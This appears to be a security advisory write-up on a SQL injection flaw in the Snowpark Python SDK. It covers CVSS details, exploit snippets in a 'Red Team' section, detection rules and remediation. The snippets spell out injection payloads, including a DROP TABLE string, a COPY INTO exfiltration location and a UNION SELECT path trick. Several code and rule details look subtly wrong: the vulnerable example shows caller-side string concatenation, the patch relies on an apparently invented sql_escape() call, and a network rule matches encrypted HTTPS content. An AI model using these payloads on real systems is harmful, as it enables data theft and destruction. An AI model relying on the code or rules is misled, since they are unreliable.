CVE-2026-15062

Executive Summary

CVE-2026-15062 is a critical SQL injection vulnerability in the Snowflake Snowpark Python SDK (snowpark-python) affecting versions prior to 1.53.0. This vulnerability allows authenticated low-privilege users to execute arbitrary SQL beyond their intended authorization scope. The flaw exists in three primary attack vectors: the DataFrameReader.dbapi() API, the DataFrameWriter write methods, and the DataFrame.to_csv() export path sanitizer. Successful exploitation could lead to source database compromise, unauthorized cross-tenant data exfiltration, or unauthorized read of Snowflake account data. The CVSS score of 9.6 reflects the critical nature of this vulnerability, with a low attack complexity and no user interaction required.

Supply Chain & Package Security

This vulnerability affects the snowpark-python package, which is distributed via PyPI. Organizations using this package in their data pipelines or analytics workflows are at risk. The package is commonly used for building data-intensive applications and machine learning pipelines on Snowflake. Immediate action is required to update to version 1.53.0 or later to mitigate the risk.

CVSS Breakdown & Threat Level

• CVSS Score: 9.6 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Changed (S:C)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score is driven by the low attack complexity, the ability to exploit the vulnerability with low privileges, and the potential for significant impact on confidentiality, integrity, and availability. The changed scope indicates that the vulnerability can affect resources beyond the original authorization boundary.

Deep Dive & Mechanics

The vulnerability stems from insufficient input sanitization in three key areas of the Snowpark Python SDK:

1. DataFrameReader.dbapi() API: This API allows reading data from external databases. An attacker can embed SQL payloads in source database column names. When the API processes these column names, the embedded SQL is executed, potentially allowing the attacker to escalate privileges or access unauthorized data.

2. DataFrameWriter write methods: The DataFrameWriter class provides methods to write DataFrames to external locations. By supplying a specially crafted location parameter, an attacker can redirect a COPY INTO command to an arbitrary source query. This can be used to exfiltrate data or execute unauthorized SQL commands.

3. DataFrame.to_csv() export path sanitizer: The normalize_path() function is intended to sanitize export paths. However, an attacker can include a backslash-single-quote sequence (\') in the export path to bypass the sanitizer and inject SQL. This allows the attacker to execute arbitrary SQL commands during the CSV export process.

The root cause is the lack of proper input validation and sanitization in these functions, allowing SQL injection attacks that can bypass Snowflake's built-in access controls.

Vulnerable vs. Patched Code

Vulnerable Code (snowpark-python < 1.53.0):

# Example of vulnerable DataFrameReader.dbapi() usage
from snowflake.snowpark import Session
from snowflake.snowpark.functions import col

session = Session.builder.configs(connection_parameters).create()
# Attacker-controlled column name with SQL injection
malicious_column = "username; DROP TABLE users; --"
df = session.read.dbapi("SELECT " + malicious_column + " FROM users")

Patched Code (snowpark-python >= 1.53.0):

# Patched version with proper input sanitization
from snowflake.snowpark import Session
from snowflake.snowpark.functions import col

session = Session.builder.configs(connection_parameters).create()
# Column names are now properly escaped
safe_column = "username"
df = session.read.dbapi("SELECT " + session.sql_escape(safe_column) + " FROM users")

The patched version introduces proper SQL escaping and input validation to prevent injection attacks. The sql_escape() function ensures that any special characters in column names or other inputs are properly escaped before being used in SQL queries.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Snowflake account with low-privilege user credentials
• Access to Snowpark Python SDK version < 1.53.0
• Python environment with snowpark-python installed

Exploitation Steps:

1. Exploit via DataFrameReader.dbapi():

   from snowflake.snowpark import Session
   
   session = Session.builder.configs(connection_parameters).create()
   
   # Craft malicious column name with SQL injection
   malicious_column = "username; SELECT * FROM sensitive_data; --"
   
   # Trigger the vulnerability
   df = session.read.dbapi("SELECT " + malicious_column + " FROM users")
   df.show()
   

2. Exploit via DataFrameWriter write methods:

   from snowflake.snowpark import Session
   
   session = Session.builder.configs(connection_parameters).create()
   df = session.table("users")
   
   # Craft malicious location parameter
   malicious_location = "s3://bucket/output; COPY INTO @stage FROM (SELECT * FROM sensitive_data); --"
   
   # Trigger the vulnerability
   df.write.mode("overwrite").csv(malicious_location)
   

3. Exploit via DataFrame.to_csv() export path:

   from snowflake.snowpark import Session
   
   session = Session.builder.configs(connection_parameters).create()
   df = session.table("users")
   
   # Craft malicious export path with backslash-single-quote sequence
   malicious_path = "/tmp/export\' UNION SELECT * FROM sensitive_data; --"
   
   # Trigger the vulnerability
   df.to_csv(malicious_path)
   

Blue Team

Detection and Response:

1. Monitor for unusual SQL queries: Look for SQL queries that contain unexpected characters or patterns, such as backslash-single-quote sequences or embedded SQL commands in column names.

2. Audit Snowflake logs: Review Snowflake's query history and access logs for any suspicious activity, especially from low-privilege users.

3. Implement input validation: Ensure that all user-supplied inputs, especially column names and file paths, are properly sanitized before being used in SQL queries.

4. Network segmentation: Restrict network access to Snowflake instances to only trusted IP addresses and services.

5. User privilege review: Regularly review and minimize user privileges to reduce the potential impact of exploitation.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual SQL queries containing backslash-single-quote sequences (\')
  • Queries with embedded SQL commands in column names or file paths
  • Unexpected COPY INTO commands to external locations

• File IOCs:

  • Log files containing suspicious SQL injection patterns
  • Temporary files with unusual names or paths

• System IOCs:

  • Unauthorized access to sensitive Snowflake tables or views
  • Unexpected data exfiltration to external storage locations

Detection Engineering

YARA Rule

rule CVE_2026_15062_Snowpark_SQL_Injection {
    meta:
        description = "Detects SQL injection attempts targeting Snowflake Snowpark Python SDK CVE-2026-15062"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-15062"
        severity = "critical"
    strings:
        $s1 = "DataFrameReader.dbapi" ascii wide nocase
        $s2 = "DataFrameWriter" ascii wide nocase
        $s3 = "to_csv" ascii wide nocase
        $s4 = "\\'" ascii wide
        $s5 = "COPY INTO" ascii wide nocase
        $s6 = "UNION SELECT" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3) and any of ($s4, $s5, $s6)
}

Sigma Rule

title: CVE-2026-15062 Snowflake Snowpark SQL Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting Snowflake Snowpark Python SDK
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-15062
logsource:
    category: application
    product: snowflake
detection:
    selection:
        query|contains:
            - "\\'"
            - "COPY INTO"
            - "UNION SELECT"
        user|contains:
            - "low_privilege"
    condition: selection
falsepositives:
    - Legitimate use of special characters in column names
level: critical

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (
    msg:"CVE-2026-15062 Snowflake Snowpark SQL Injection Attempt";
    flow:to_server,established;
    content:"snowpark-python"; http_client_body;
    content:"DataFrameReader.dbapi"; http_client_body;
    content:"\\'"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2026-15062;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

1. Immediate Action: Upgrade to snowpark-python version 1.53.0 or later. This is the only complete fix for the vulnerability.

2. Workaround: If immediate upgrade is not possible, implement strict input validation for all user-supplied parameters used in Snowpark APIs. Specifically:

   • Sanitize column names and file paths before passing them to DataFrameReader.dbapi(), DataFrameWriter methods, and DataFrame.to_csv().
   • Use parameterized queries or prepared statements where possible.
   • Restrict low-privilege users from using these APIs until the patch is applied.

3. Monitoring: Enable detailed logging for all Snowflake queries and monitor for suspicious patterns as described in the Detection Engineering section.

4. Access Control: Review and minimize user privileges. Ensure that low-privilege users do not have unnecessary access to sensitive data or APIs.

5. Network Security: Implement network segmentation and restrict access to Snowflake instances to only trusted IP addresses.

6. Incident Response: If exploitation is suspected, immediately isolate affected systems, revoke compromised credentials, and conduct a thorough forensic investigation.

Valters IT